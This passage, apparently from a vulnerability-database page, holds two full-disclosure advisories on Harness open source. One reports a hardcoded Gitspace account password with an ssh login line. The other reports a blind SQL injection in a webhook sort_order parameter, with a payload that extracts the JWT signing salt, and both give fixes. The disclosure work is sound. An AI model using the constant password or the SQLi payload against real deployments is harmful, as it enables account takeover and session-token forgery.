Search

Find a vulnerability

Search criteria

    6 vulnerabilities by harness

    GCVE-1988-2026-0521

    Vulnerability from gna-1988 – Published: 2026-11-02 09:31 – Updated: 2026-11-02 09:31
    VLAI
    Title
    harness Gitspace hardcoded password for every user account
    Summary
    # harness Gitspace hardcoded password for every user account **Author:** Khashayar Fereidani **Disclosure Date:** 2026-09-24 **Advisory:** https://fereidani.com/harness-gitspace-hardcoded-password-for-every-user-account **Contact:** https://fereidani.com/contact ## Description Gitspaces are Harness's hosted development environments: a container with the user's source tree, running an SSH server and an IDE, with its ports published on the host machine. Access is supposed to be controlled by a secret the user configures. In practice the password of the Linux account inside every Gitspace container is the same public constant, `app/gitspace/secret/password_resolver.go:26`: ```go const defaultPassword = "Harness@123" func (p *PasswordResolver) Resolve(_ context.Context, _ ResolutionContext) (ResolvedSecret, error) { return ResolvedSecret{ SecretValue: defaultPassword, }, nil } ``` `Resolve` discards the entire `ResolutionContext`, parameter by parameter. The caller does pass the configured reference: `ResolveSecret` builds the context with `SecretRef: *config.GitspaceInstance.AccessKeyRef` (`app/gitspace/orchestrator/utils/secret.go:46`), but the resolver never reads it, so the user's choice of secret is ignored and the value cannot be rotated per instance. The wire set registers exactly this one resolver (`app/gitspace/secret/wire.go:20`), so every password-type resolution in the product returns the constant. The resolved value becomes the account password inside the container. On resume, the orchestrator stores it (`app/gitspace/orchestrator/orchestrator_resume.go:50`) and the user setup script applies it (`manage_user.sh` under `app/gitspace/orchestrator/utils/script_templates/`, line 49): ```sh elif [ "user_credentials" = "$accessType" ] ; then echo "$username:$accessKey" | chpasswd ``` The constant ships in the public repository, so it is known to anyone who has read the source, and it is identical in every deployment, every release image and every Gitspace instance. The `ssh_key` branch of the same script writes the resolved value into `authorized_keys` (`manage_user.sh:43-46`); since that value is also the constant, that access type simply does not work, which is further proof that the configured reference is never honored. ## Reproduction The resolver can be exercised directly. This in-package test asks it to resolve a configured secret reference: ```go package secret import ( "context" "testing" ) func TestPocHardcodedPassword(t *testing.T) { resolved, err := (&PasswordResolver{}).Resolve(context.Background(), ResolutionContext{ UserIdentifier: "victim", GitspaceIdentifier: "gs-1", SecretRef: "my-configured-secret-ref", SpaceIdentifier: "space1", }) if err != nil { t.Fatal(err) } t.Logf("Resolve(SecretRef=%q) = %q", "my-configured-secret-ref", resolved.SecretValue) if resolved.SecretValue != "Harness@123" { t.Fatalf("expected the shipped constant, got %q", resolved.SecretValue) } } ``` Observed output on main at commit 912a1f3: ```text --- PASS: TestPocHardcodedPassword (0.00s) poc_password_test.go:18: Resolve(SecretRef="my-configured-secret-ref") = "Harness@123" ``` With a running deployment the account is then usable directly. Gitspace ports are published as host port bindings (`app/gitspace/orchestrator/container/devcontainer_container_utils.go:281`), and the account name is the Gitspace owner's identifier (`config.GitspaceUser.Identifier` in the same plumbing), so anyone who can reach the published SSH port logs in with the public constant: ```sh ssh <owner-identifier>@<gitspace-host> -p <published-port> # password: Harness@123 ``` ## Impact Use of a hard-coded password (CWE-798, CWE-259). An attacker who can reach a Gitspace's published SSH or IDE endpoint gets the owner's full environment: the source tree, any git credentials and tokens present in the container, and the network position of the development sandbox. There is no per-instance secret to stop them, because the value is universal, public in the source repository, and cannot be changed through configuration since the resolver ignores the reference. Anyone who has ever read the source, or any attacker who obtained the constant from any other deployment, holds a valid password for every Gitspace account in every Harness open source installation. ## Solution Make the resolver earn its name. Two workable directions, in order of preference: - Honor the configured reference. The codebase already defines the seam: `PlatformSecret.FetchSecret(ctx, secretRef, spacePath)` (`app/gitspace/platformsecret/platformsecret.go:23`). Its only implementation currently ignores both the reference and the space path and returns its input masked (`gitnessplatformsecret.go:31`), so wire it to the existing secret service and have `PasswordResolver.Resolve` read `ResolutionContext.SecretRef` through it. Users can then set and rotate the real password as a proper secret. - Or drop shared passwords entirely: generate a random per-instance password with `crypto/rand` at Gitspace start and hand it to the owner through the control plane (the API or the IDE session), never storing a constant in the repository. Either way, a resolver that cannot produce a real secret should return an error, not a known constant. Until a fix lands, treat every published Gitspace port as a pre-authenticated login for the owner account: keep the ports off public networks (firewall, VPN or bind them to loopback with an authenticated tunnel in front), because no configuration change inside the product can change the password. ## Timeline - 2026-09-24: Reported publicly as harness/harness#3725, found while scanning popular repositories with my static analyzer. The project's earlier security reports had gone unanswered; the current main branch (912a1f3) is affected. ## References - [harness/harness#3725 - hardcoded password Harness@123 for every gitspace user account](https://github.com/harness/harness/issues/3725) - [harness/harness - app/gitspace/secret/password_resolver.go](https://github.com/harness/harness/blob/main/app/gitspace/secret/password_resolver.go) - [harness/harness - app/gitspace/orchestrator/utils/script_templates/manage_user.sh](https://github.com/harness/harness/blob/main/app/gitspace/orchestrator/utils/script_templates/manage_user.sh) - [harness/harness - app/gitspace/platformsecret/platformsecret.go](https://github.com/harness/harness/blob/main/app/gitspace/platformsecret/platformsecret.go) - [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) - [CWE-259: Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    VULNARCHIVE GNA GNA-1988
    GNA scorecard E 38/100 over 556 records in the last 180 days details
    Impacted products

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "Gitspace hardcoded",
              "vendor": "Harness",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Khashayar Fereidani"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "# harness Gitspace hardcoded password for every user account\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/harness-gitspace-hardcoded-password-for-every-user-account\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nGitspaces are Harness\u0027s hosted development environments: a container with\nthe user\u0027s source tree, running an SSH server and an IDE, with its ports\npublished on the host machine. Access is supposed to be controlled by a\nsecret the user configures. In practice the password of the Linux account\ninside every Gitspace container is the same public constant,\n`app/gitspace/secret/password_resolver.go:26`:\n\n```go\nconst defaultPassword = \"Harness@123\"\n\nfunc (p *PasswordResolver) Resolve(_ context.Context, _\nResolutionContext) (ResolvedSecret, error) {\nreturn ResolvedSecret{\nSecretValue: defaultPassword,\n}, nil\n}\n```\n\n`Resolve` discards the entire `ResolutionContext`, parameter by parameter.\nThe caller does pass the configured reference: `ResolveSecret` builds the\ncontext with `SecretRef: *config.GitspaceInstance.AccessKeyRef`\n(`app/gitspace/orchestrator/utils/secret.go:46`), but the resolver never\nreads it, so the user\u0027s choice of secret is ignored and the value cannot be\nrotated per instance. The wire set registers exactly this one resolver\n(`app/gitspace/secret/wire.go:20`), so every password-type resolution in the\nproduct returns the constant.\n\nThe resolved value becomes the account password inside the container. On\nresume, the orchestrator stores it\n(`app/gitspace/orchestrator/orchestrator_resume.go:50`) and the user setup\nscript applies it (`manage_user.sh` under\n`app/gitspace/orchestrator/utils/script_templates/`, line 49):\n\n```sh\nelif [ \"user_credentials\" = \"$accessType\"  ] ; then\n    echo \"$username:$accessKey\" | chpasswd\n```\n\nThe constant ships in the public repository, so it is known to anyone who\nhas read the source, and it is identical in every deployment, every release\nimage and every Gitspace instance. The `ssh_key` branch of the same script\nwrites the resolved value into `authorized_keys`\n(`manage_user.sh:43-46`); since that value is also the constant, that access\ntype simply does not work, which is further proof that the configured\nreference is never honored.\n\n## Reproduction\n\nThe resolver can be exercised directly. This in-package test asks it to\nresolve a configured secret reference:\n\n```go\npackage secret\n\nimport (\n\"context\"\n\"testing\"\n)\n\nfunc TestPocHardcodedPassword(t *testing.T) {\nresolved, err := (\u0026PasswordResolver{}).Resolve(context.Background(),\nResolutionContext{\nUserIdentifier:     \"victim\",\nGitspaceIdentifier: \"gs-1\",\nSecretRef:          \"my-configured-secret-ref\",\nSpaceIdentifier:    \"space1\",\n})\nif err != nil {\nt.Fatal(err)\n}\nt.Logf(\"Resolve(SecretRef=%q) = %q\", \"my-configured-secret-ref\",\nresolved.SecretValue)\nif resolved.SecretValue != \"Harness@123\" {\nt.Fatalf(\"expected the shipped constant, got %q\", resolved.SecretValue)\n}\n}\n```\n\nObserved output on main at commit 912a1f3:\n\n```text\n--- PASS: TestPocHardcodedPassword (0.00s)\n    poc_password_test.go:18:\nResolve(SecretRef=\"my-configured-secret-ref\") = \"Harness@123\"\n```\n\nWith a running deployment the account is then usable directly. Gitspace\nports are published as host port bindings\n(`app/gitspace/orchestrator/container/devcontainer_container_utils.go:281`),\nand the account name is the Gitspace owner\u0027s identifier\n(`config.GitspaceUser.Identifier` in the same plumbing), so anyone who can\nreach the published SSH port logs in with the public constant:\n\n```sh\nssh \u003cowner-identifier\u003e@\u003cgitspace-host\u003e -p \u003cpublished-port\u003e\n# password: Harness@123\n```\n\n## Impact\n\nUse of a hard-coded password (CWE-798, CWE-259). An attacker who can reach\na Gitspace\u0027s published SSH or IDE endpoint gets the owner\u0027s full\nenvironment: the source tree, any git credentials and tokens present in the\ncontainer, and the network position of the development sandbox. There is no\nper-instance secret to stop them, because the value is universal, public in\nthe source repository, and cannot be changed through configuration since\nthe resolver ignores the reference. Anyone who has ever read the source, or\nany attacker who obtained the constant from any other deployment, holds a\nvalid password for every Gitspace account in every Harness open source\ninstallation.\n\n## Solution\n\nMake the resolver earn its name. Two workable directions, in order of\npreference:\n\n- Honor the configured reference. The codebase already defines the seam:\n  `PlatformSecret.FetchSecret(ctx, secretRef, spacePath)`\n  (`app/gitspace/platformsecret/platformsecret.go:23`). Its only\n  implementation currently ignores both the reference and the space path and\n  returns its input masked (`gitnessplatformsecret.go:31`), so wire it to\n  the existing secret service and have `PasswordResolver.Resolve` read\n  `ResolutionContext.SecretRef` through it. Users can then set and rotate\n  the real password as a proper secret.\n- Or drop shared passwords entirely: generate a random per-instance\n  password with `crypto/rand` at Gitspace start and hand it to the owner\n  through the control plane (the API or the IDE session), never storing a\n  constant in the repository.\n\nEither way, a resolver that cannot produce a real secret should return an\nerror, not a known constant. Until a fix lands, treat every published\nGitspace port as a pre-authenticated login for the owner account: keep the\nports off public networks (firewall, VPN or bind them to loopback with an\nauthenticated tunnel in front), because no configuration change inside the\nproduct can change the password.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as harness/harness#3725, found while\n  scanning popular repositories with my static analyzer. The project\u0027s\n  earlier security reports had gone unanswered; the current main branch\n  (912a1f3) is affected.\n\n## References\n\n- [harness/harness#3725 - hardcoded password Harness@123 for every\ngitspace user account](https://github.com/harness/harness/issues/3725)\n- [harness/harness -\napp/gitspace/secret/password_resolver.go](https://github.com/harness/harness/blob/main/app/gitspace/secret/password_resolver.go)\n- [harness/harness -\napp/gitspace/orchestrator/utils/script_templates/manage_user.sh](https://github.com/harness/harness/blob/main/app/gitspace/orchestrator/utils/script_templates/manage_user.sh)\n- [harness/harness -\napp/gitspace/platformsecret/platformsecret.go](https://github.com/harness/harness/blob/main/app/gitspace/platformsecret/platformsecret.go)\n- [CWE-798: Use of Hard-coded\nCredentials](https://cwe.mitre.org/data/definitions/798.html)\n- [CWE-259: Use of Hard-coded\nPassword](https://cwe.mitre.org/data/definitions/259.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-259",
                  "description": "CWE-259",
                  "lang": "en",
                  "type": "CWE"
                },
                {
                  "cweId": "CWE-798",
                  "description": "CWE-798",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-11-02T09:31:21Z",
            "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
            "shortName": "VULNARCHIVE"
          },
          "references": [
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/83"
            },
            {
              "tags": [
                "technical-description"
              ],
              "url": "https://seclists.org/fulldisclosure/2026/Sep/83"
            },
            {
              "url": "https://cwe.mitre.org/data/definitions/259.html"
            },
            {
              "url": "https://cwe.mitre.org/data/definitions/798.html"
            },
            {
              "url": "https://fereidani.com/contact"
            },
            {
              "url": "https://fereidani.com/harness-gitspace-hardcoded-password-for-every-user-account"
            },
            {
              "url": "https://github.com/harness/harness/blob/main/app/gitspace/orchestrator/utils/script_templates/manage_user.sh"
            },
            {
              "url": "https://github.com/harness/harness/blob/main/app/gitspace/platformsecret/platformsecret.go"
            },
            {
              "url": "https://github.com/harness/harness/blob/main/app/gitspace/secret/password_resolver.go"
            },
            {
              "url": "https://github.com/harness/harness/issues/3725"
            },
            {
              "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
            },
            {
              "url": "https://seclists.org/fulldisclosure/"
            }
          ],
          "source": {
            "defect": [
              "https://seclists.org/fulldisclosure/2026/Sep/83"
            ],
            "discovery": "EXTERNAL"
          },
          "title": "harness Gitspace hardcoded password for every user account",
          "x_gcve": [
            {
              "recordType": "advisory",
              "relationships": [],
              "vulnId": "GCVE-1988-2026-0521",
              "x_vulnarchive": {
                "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/83",
                "automated": true,
                "contentSha256": "f19810a60e328f4e3ba50587b56ba3df204a96b93a94e9b3a1e1e526891f8058",
                "evidenceScore": 7,
                "messageId": "",
                "originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/83",
                "policy": "vulnarchive-1",
                "sourceFormat": "text/html",
                "sourcePublishedAt": "2026-09-24T14:42:12Z"
              }
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "assignerShortName": "VULNARCHIVE",
        "datePublished": "2026-11-02T09:31:21Z",
        "dateUpdated": "2026-11-02T09:31:21Z",
        "state": "PUBLISHED",
        "vulnId": "GCVE-1988-2026-0521"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }

    GCVE-1988-2026-0416

    Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
    VLAI
    Title
    harness(gitness) registry webhook sort_order blind SQL injection
    Summary
    # harness registry webhook sort_order blind SQL injection **Author:** Khashayar Fereidani **Disclosure Date:** 2026-09-24 **Advisory:** https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection **Contact:** https://fereidani.com/contact ## Description Harness open source (Gitness) is a self-hosted platform for source control, pipelines and artifact registries. The registry API lists the webhooks of a registry at `GET /registry/{ref}/webhooks` with optional `sort_field` and `sort_order` query parameters. The controller copies the raw query-string bytes of `sort_order` into the DAO call with no normalization (`registry/app/api/controller/metadata/list_webhooks.go:80`): ```go sortByField := "" sortByOrder := "" if r.Params.SortOrder != nil { sortByOrder = string(*r.Params.SortOrder) } if r.Params.SortField != nil { sortByField = string(*r.Params.SortField) } webhooks, err := c.WebhooksRepository.ListByRegistry( ctx, sortByField, sortByOrder, ... ) ``` The DAO allowlists the sort field but interpolates the order clause raw (`registry/app/store/database/webhook.go:224`): ```go validSortFields := map[string]string{ "name": "registry_webhook_name", } validSortByField := validSortFields[sortByField] if validSortByField != "" { query = query.OrderBy(fmt.Sprintf("%s %s", validSortByField, sortByOrder)) } ``` Every other value in the query is bound as a parameter; only the ORDER BY fragment is assembled with `fmt.Sprintf`. `SortOrder` is generated by oapi-codegen as a plain `type SortOrder string` (`registry/app/api/openapi/contracts/artifact/types.gen.go:1223`) with no runtime enum validation, so any bytes survive from the query string to the SQL text. The project already has the correct guard and applies it everywhere else. `GetSortByOrder` (`registry/app/api/controller/metadata/utils.go:220`) coerces anything that is not `DESC` to `ASC`, and the sibling request-info helpers call it on every other listing endpoint (`registry/app/api/controller/metadata/base.go:107` and `:489`). The webhook listing builds its parameters inline and is the one call path that skips the normalization. A second raw interpolation of the same pair sits in the upstream proxy DAO, which concatenates both field and order with no allowlist at all (`registry/app/store/database/upstream_proxy.go:338`): ```go q = q.OrderBy(" r.registry_" + sortByField + " " + sortByOrder). Limit(ulimit). Offset(uoffset) ``` Its callers currently normalize through the base helpers, but the DAO trusts its inputs, so a caller-side fix alone leaves a second unsafe path behind. ## Reproduction The DAO assembles the SQL with squirrel before any database round trip, so the injection is visible without a database. The in-package test below registers a mock driver that records the statement `ListByRegistry` prepares, and requests the webhook list with the attack payload as `sort_order`, exactly what `GET /registry/{ref}/webhooks?sort_field=name&sort_order=<payload>` reaches: ```go package database import ( "context" "database/sql" "database/sql/driver" "errors" "strings" "testing" "github.com/jmoiron/sqlx" ) type recordDriver struct{ lastQuery string } func (d *recordDriver) Open(string) (driver.Conn, error) { return &recordConn{d: d}, nil } type recordConn struct{ d *recordDriver } func (c *recordConn) Prepare(q string) (driver.Stmt, error) { c.d.lastQuery = q return nil, errors.New("captured") } func (c *recordConn) Close() error { return nil } func (c *recordConn) Begin() (driver.Tx, error) { return nil, errors.New("no tx") } func TestPocSQLi(t *testing.T) { rec := &recordDriver{} sql.Register("recorder-poc", rec) sdb, err := sql.Open("recorder-poc", "unused") if err != nil { t.Fatal(err) } repo := NewWebhookDao(sqlx.NewDb(sdb, "postgres")) payload := "ASC,(SELECT CASE WHEN (substr((select principal_salt from principals limit 1),1,1)='a')" + " THEN registry_webhook_name ELSE registry_webhook_id END)" _, _ = repo.ListByRegistry(context.Background(), "name", payload, 10, 0, "", 1) sent := rec.lastQuery for _, needle := range []string{"SELECT CASE WHEN", "principal_salt", "registry_webhook_id END"} { if !strings.Contains(sent, needle) { t.Fatalf("payload fragment %q missing from SQL sent to the database:\n%s", needle, sent) } } t.Logf("SQL SENT TO DATABASE:\n%s", sent) } ``` Run it inside a checkout of harness/harness: ```sh go test ./registry/app/store/database/ -run TestPocSQLi -v ``` Observed output on main at commit 912a1f3 (fields truncated): ```text --- PASS: TestPocSQLi (0.00s) poc_sqli_test.go:47: SQL SENT TO DATABASE: SELECT registry_webhook_id, ... FROM registry_webhooks WHERE registry_webhook_registry_id = $1 ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN (substr((select principal_salt from principals limit 1),1,1)='a') THEN registry_webhook_name ELSE registry_webhook_id END) LIMIT 10 OFFSET 0 ``` The `$1` binding shows that every other value is parameterized; the payload sits verbatim inside ORDER BY. PostgreSQL evaluates expressions there, so a CASE keyed on `substr` of any database value flips the row order (or raises an error) depending on the condition, which leaks one boolean per request. That is a full blind extraction primitive for any value the database user can read, one character and one bit at a time. ## Impact Blind SQL injection (CWE-89) reachable by any authenticated user who has view permission on any registry (`enum.PermissionRegistryView` is the gate at `registry/app/api/controller/metadata/list_webhooks.go:46`). The realistic target is `principals.principal_salt`: the JWT authenticator verifies session tokens with HMAC keyed only by that salt (`app/auth/authn/jwt.go:99-107`), so recovering a salt lets the attacker forge a valid session token for that principal, including administrators. The salt column is excluded from API responses (`json:"-"`, `registry/types/principal.go:37`), which is exactly why the database has to be read through the query itself. The injection is read-side exfiltration: the surrounding query is fully parameterized and the PostgreSQL driver does not run stacked queries, so the attacker cannot write to the database through this path. ## Solution Validate at both ends. The controller should normalize the parameter with the guard its siblings already use, which collapses any input to `ASC` or `DESC`: ```go sortByOrder = GetSortByOrder(sortByOrder) ``` But the DAO is the component that assembles the SQL, so it should not accept free text in the first place. An allowlist at the sink holds regardless of which caller reaches it: ```go validSortOrders := map[string]struct{}{"ASC": {}, "DESC": {}} if _, ok := validSortOrders[strings.ToUpper(sortByOrder)]; !ok { sortByOrder = "ASC" } ``` The upstream proxy DAO needs the same treatment for both parameters: an allowlist for the sort field (it currently concatenates the raw string onto a column prefix) and the same order check, so a future caller that forgets to normalize cannot reopen the hole. Until a fix lands, block or rewrite the `sort_order` parameter of the webhook listing at the reverse proxy in front of the deployment; anything that is not exactly `asc` or `desc` (case-insensitive) can be dropped. ## Timeline - 2026-09-24: Reported publicly as harness/harness#3724, found while scanning popular repositories with my static analyzer. The project's earlier security reports had gone unanswered; the current main branch (912a1f3) is affected. ## References - [harness/harness#3724 - blind SQL injection via sort_order in registry webhook listing](https://github.com/harness/harness/issues/3724) - [harness/harness - registry/app/store/database/webhook.go](https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go) - [harness/harness - registry/app/api/controller/metadata/list_webhooks.go](https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go) - [harness/harness - registry/app/store/database/upstream_proxy.go](https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go) - [CWE-89: Improper Neutralization of Special Elements used in an SQL Command](https://cwe.mitre.org/data/definitions/89.html) - [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor](https://cwe.mitre.org/data/definitions/200.html) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
    Severity
    No CVSS data available.
    Assigner
    VULNARCHIVE GNA GNA-1988
    GNA scorecard E 38/100 over 556 records in the last 180 days details
    Impacted products
    Vendor Product Version
    Harness registry webhook Affected: unknown
    Create a notification for this product.

    {
      "containers": {
        "cna": {
          "affected": [
            {
              "product": "registry webhook",
              "vendor": "Harness",
              "versions": [
                {
                  "status": "affected",
                  "version": "unknown"
                }
              ]
            }
          ],
          "credits": [
            {
              "lang": "en",
              "type": "finder",
              "value": "Khashayar Fereidani"
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "# harness registry webhook sort_order blind SQL injection\n\n**Author:** Khashayar Fereidani\n**Disclosure Date:** 2026-09-24\n**Advisory:** https://fereidani.com/harness-registry-webhook-sortorder-blind-sql-injection\n**Contact:** https://fereidani.com/contact\n\n## Description\n\nHarness open source (Gitness) is a self-hosted platform for source control,\npipelines and artifact registries. The registry API lists the webhooks of a\nregistry at `GET /registry/{ref}/webhooks` with optional `sort_field` and\n`sort_order` query parameters. The controller copies the raw query-string\nbytes of `sort_order` into the DAO call with no normalization\n(`registry/app/api/controller/metadata/list_webhooks.go:80`):\n\n```go\nsortByField := \"\"\nsortByOrder := \"\"\nif r.Params.SortOrder != nil {\nsortByOrder = string(*r.Params.SortOrder)\n}\nif r.Params.SortField != nil {\nsortByField = string(*r.Params.SortField)\n}\n\nwebhooks, err := c.WebhooksRepository.ListByRegistry(\nctx,\nsortByField,\nsortByOrder,\n...\n)\n```\n\nThe DAO allowlists the sort field but interpolates the order clause raw\n(`registry/app/store/database/webhook.go:224`):\n\n```go\nvalidSortFields := map[string]string{\n\"name\": \"registry_webhook_name\",\n}\nvalidSortByField := validSortFields[sortByField]\nif validSortByField != \"\" {\nquery = query.OrderBy(fmt.Sprintf(\"%s %s\", validSortByField, sortByOrder))\n}\n```\n\nEvery other value in the query is bound as a parameter; only the ORDER BY\nfragment is assembled with `fmt.Sprintf`. `SortOrder` is generated by\noapi-codegen as a plain `type SortOrder string`\n(`registry/app/api/openapi/contracts/artifact/types.gen.go:1223`) with no\nruntime enum validation, so any bytes survive from the query string to the\nSQL text.\n\nThe project already has the correct guard and applies it everywhere else.\n`GetSortByOrder` (`registry/app/api/controller/metadata/utils.go:220`)\ncoerces anything that is not `DESC` to `ASC`, and the sibling request-info\nhelpers call it on every other listing endpoint\n(`registry/app/api/controller/metadata/base.go:107` and `:489`). The webhook\nlisting builds its parameters inline and is the one call path that skips the\nnormalization. A second raw interpolation of the same pair sits in the\nupstream proxy DAO, which concatenates both field and order with no allowlist\nat all (`registry/app/store/database/upstream_proxy.go:338`):\n\n```go\nq = q.OrderBy(\" r.registry_\" + sortByField + \" \" + sortByOrder).\nLimit(ulimit).\nOffset(uoffset)\n```\n\nIts callers currently normalize through the base helpers, but the DAO trusts\nits inputs, so a caller-side fix alone leaves a second unsafe path behind.\n\n## Reproduction\n\nThe DAO assembles the SQL with squirrel before any database round trip, so\nthe injection is visible without a database. The in-package test below\nregisters a mock driver that records the statement `ListByRegistry`\nprepares, and requests the webhook list with the attack payload as\n`sort_order`, exactly what `GET\n/registry/{ref}/webhooks?sort_field=name\u0026sort_order=\u003cpayload\u003e`\nreaches:\n\n```go\npackage database\n\nimport (\n\"context\"\n\"database/sql\"\n\"database/sql/driver\"\n\"errors\"\n\"strings\"\n\"testing\"\n\n\"github.com/jmoiron/sqlx\"\n)\n\ntype recordDriver struct{ lastQuery string }\n\nfunc (d *recordDriver) Open(string) (driver.Conn, error) { return\n\u0026recordConn{d: d}, nil }\n\ntype recordConn struct{ d *recordDriver }\n\nfunc (c *recordConn) Prepare(q string) (driver.Stmt, error) {\nc.d.lastQuery = q\nreturn nil, errors.New(\"captured\")\n}\nfunc (c *recordConn) Close() error              { return nil }\nfunc (c *recordConn) Begin() (driver.Tx, error) { return nil,\nerrors.New(\"no tx\") }\n\nfunc TestPocSQLi(t *testing.T) {\nrec := \u0026recordDriver{}\nsql.Register(\"recorder-poc\", rec)\nsdb, err := sql.Open(\"recorder-poc\", \"unused\")\nif err != nil {\nt.Fatal(err)\n}\nrepo := NewWebhookDao(sqlx.NewDb(sdb, \"postgres\"))\n\npayload := \"ASC,(SELECT CASE WHEN (substr((select principal_salt from\nprincipals limit 1),1,1)=\u0027a\u0027)\" +\n\" THEN registry_webhook_name ELSE registry_webhook_id END)\"\n\n_, _ = repo.ListByRegistry(context.Background(), \"name\", payload, 10, 0, \"\", 1)\n\nsent := rec.lastQuery\nfor _, needle := range []string{\"SELECT CASE WHEN\", \"principal_salt\",\n\"registry_webhook_id END\"} {\nif !strings.Contains(sent, needle) {\nt.Fatalf(\"payload fragment %q missing from SQL sent to the\ndatabase:\\n%s\", needle, sent)\n}\n}\nt.Logf(\"SQL SENT TO DATABASE:\\n%s\", sent)\n}\n```\n\nRun it inside a checkout of harness/harness:\n\n```sh\ngo test ./registry/app/store/database/ -run TestPocSQLi -v\n```\n\nObserved output on main at commit 912a1f3 (fields truncated):\n\n```text\n--- PASS: TestPocSQLi (0.00s)\n    poc_sqli_test.go:47: SQL SENT TO DATABASE:\n        SELECT registry_webhook_id, ... FROM registry_webhooks\n        WHERE registry_webhook_registry_id = $1\n        ORDER BY registry_webhook_name ASC,(SELECT CASE WHEN\n        (substr((select principal_salt from principals limit 1),1,1)=\u0027a\u0027)\n        THEN registry_webhook_name ELSE registry_webhook_id END)\n        LIMIT 10 OFFSET 0\n```\n\nThe `$1` binding shows that every other value is parameterized; the payload\nsits verbatim inside ORDER BY. PostgreSQL evaluates expressions there, so a\nCASE keyed on `substr` of any database value flips the row order (or raises\nan error) depending on the condition, which leaks one boolean per request.\nThat is a full blind extraction primitive for any value the database user\ncan read, one character and one bit at a time.\n\n## Impact\n\nBlind SQL injection (CWE-89) reachable by any authenticated user who has\nview permission on any registry (`enum.PermissionRegistryView` is the gate at\n`registry/app/api/controller/metadata/list_webhooks.go:46`). The realistic\ntarget is `principals.principal_salt`: the JWT authenticator verifies session\ntokens with HMAC keyed only by that salt\n(`app/auth/authn/jwt.go:99-107`), so recovering a salt lets the attacker\nforge a valid session token for that principal, including administrators.\nThe salt column is excluded from API responses (`json:\"-\"`,\n`registry/types/principal.go:37`), which is exactly why the database has to\nbe read through the query itself.\n\nThe injection is read-side exfiltration: the surrounding query is fully\nparameterized and the PostgreSQL driver does not run stacked queries, so the\nattacker cannot write to the database through this path.\n\n## Solution\n\nValidate at both ends. The controller should normalize the parameter with\nthe guard its siblings already use, which collapses any input to `ASC` or\n`DESC`:\n\n```go\nsortByOrder = GetSortByOrder(sortByOrder)\n```\n\nBut the DAO is the component that assembles the SQL, so it should not accept\nfree text in the first place. An allowlist at the sink holds regardless of\nwhich caller reaches it:\n\n```go\nvalidSortOrders := map[string]struct{}{\"ASC\": {}, \"DESC\": {}}\nif _, ok := validSortOrders[strings.ToUpper(sortByOrder)]; !ok {\nsortByOrder = \"ASC\"\n}\n```\n\nThe upstream proxy DAO needs the same treatment for both parameters: an\nallowlist for the sort field (it currently concatenates the raw string onto\na column prefix) and the same order check, so a future caller that forgets\nto normalize cannot reopen the hole.\n\nUntil a fix lands, block or rewrite the `sort_order` parameter of the\nwebhook listing at the reverse proxy in front of the deployment; anything\nthat is not exactly `asc` or `desc` (case-insensitive) can be dropped.\n\n## Timeline\n\n- 2026-09-24: Reported publicly as harness/harness#3724, found while\n  scanning popular repositories with my static analyzer. The project\u0027s\n  earlier security reports had gone unanswered; the current main branch\n  (912a1f3) is affected.\n\n## References\n\n- [harness/harness#3724 - blind SQL injection via sort_order in\nregistry webhook\nlisting](https://github.com/harness/harness/issues/3724)\n- [harness/harness -\nregistry/app/store/database/webhook.go](https://github.com/harness/harness/blob/main/registry/app/store/database/webhook.go)\n- [harness/harness -\nregistry/app/api/controller/metadata/list_webhooks.go](https://github.com/harness/harness/blob/main/registry/app/api/controller/metadata/list_webhooks.go)\n- [harness/harness -\nregistry/app/store/database/upstream_proxy.go](https://github.com/harness/harness/blob/main/registry/app/store/database/upstream_proxy.go)\n- [CWE-89: Improper Neutralization of Special Elements used in an SQL\nCommand](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-200: Exposure of Sensitive Information to an Unauthorized\nActor](https://cwe.mitre.org/data/definitions/200.html)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-200",
                  "description": "CWE-200",
                  "lang": "en",
                  "type": "CWE"
                },
                {
                  "cweId": "CWE-89",
                  "description": "CWE-89",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
